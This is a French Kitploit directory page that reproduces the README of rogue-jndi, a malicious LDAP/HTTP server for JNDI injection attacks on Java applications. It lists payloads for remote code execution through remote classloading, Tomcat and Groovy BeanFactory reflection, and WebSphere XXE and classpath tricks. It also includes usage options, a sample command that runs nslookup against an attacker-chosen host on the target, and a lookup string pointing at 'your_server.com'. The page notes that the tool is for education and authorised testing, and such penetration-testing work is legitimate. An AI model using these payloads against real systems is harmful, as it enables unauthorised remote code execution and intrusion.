Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
rogue-jndi — Un serveur LDAP malveillant pour les attaques par injection JNDI | Kitploit
Outils/GitHubGitHub/veracode-research/rogue-jndi
ExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHubveracode-research/rogue-jndi

rogue-jndi

Un serveur LDAP malveillant pour les attaques par injection JNDI

Voir le dépôt
1.1k22713il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Rogue JNDI

Un serveur LDAP malveillant pour les attaques par injection JNDI.

Description

Le projet contient des serveurs LDAP et HTTP pour exploiter l'API Java JNDI non sécurisée par défaut.
Afin de mener une attaque, vous pouvez démarrer ces serveurs localement, puis déclencher une résolution JNDI sur le client vulnérable, par exemple :

InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

Cela initiera une connexion du client vulnérable au serveur LDAP local. Ensuite, le serveur local répond avec une entrée malveillante contenant l'un des payloads, ce qui peut être utile pour parvenir à une exécution de code à distance (RCE).

Motivation

En plus des méthodes d'attaque JNDI connues (via le chargement de classes distant dans les références), cet outil apporte de nouveaux vecteurs d'attaque en exploitant la puissance des ObjectFactories.

Payloads pris en charge

  • RemoteReference.java — attaque JNDI classique, mène à une RCE via le chargement de classes distant, fonctionne jusqu'à jdk8u191
  • Tomcat.java — mène à une RCE via une réflexion non sécurisée dans org.apache.naming.factory.BeanFactory
  • Groovy.java — mène à une RCE via une réflexion non sécurisée dans org.apache.naming.factory.BeanFactory + groovy.lang.GroovyShell
  • WebSphere1.java — mène à une XXE hors bande (OOB) dans com.ibm.ws.webservices.engine.client.ServiceFactory
  • WebSphere2.java — mène à une RCE via la manipulation du classpath dans com.ibm.ws.client.applicationclient.ClientJ2CCFFactory

Utilisation

$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
  Options:
    -c, --command  Command to execute on the target server (default: 
                   /Applications/Calculator.app/Contents/MacOS/Calculator) 
    -n, --hostname Local HTTP server hostname (required for remote 
                   classloading and websphere payloads) (default: 
                   192.168.1.10) 
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8000)
    --wsdl         [websphere1 payload option] WSDL file with XXE payload 
                   (default: /list.wsdl)
    --localjar     [websphere2 payload option] Local jar file to load (this 
                   file should be located on the remote server) (default: 
                   ../../../../../tmp/jar_cache7808167489549525095.tmp) 
    -h, --help     Show this help

Les paramètres les plus importants sont le nom d'hôte du serveur LDAP (-n, qui doit être accessible depuis la cible) et la commande que vous souhaitez exécuter sur le serveur cible (-c).

En alternative à l'option « -c », vous pouvez modifier le fichier ExportObject.java en y plaçant le code Java que vous souhaitez exécuter sur le serveur cible.

Exemple :

$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

Compilation

Java v1.7+ et Maven v3+ requis

mvn package

Avertissement

Ce logiciel est fourni uniquement à des fins éducatives et/ou pour tester des systèmes que l'utilisateur a l'autorisation préalable d'attaquer.

Remerciements particuliers

  • Alvaro Muñoz et Oleksandr Mirosh pour l'excellent livre blanc sur les attaques JNDI
  • @zerothoughts pour le dépôt inspirant spring-jndi
  • Moritz Bechler pour l'éminente recherche marshallsec
  • Orange Tsai et Welk1n pour le gadget Apache + Groovy

Liens

  • Un article sur Exploiting JNDI Injections in Java dans le blog de Veracode
  • How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM

Auteurs

Michael Stepankin

Télécharger l’outil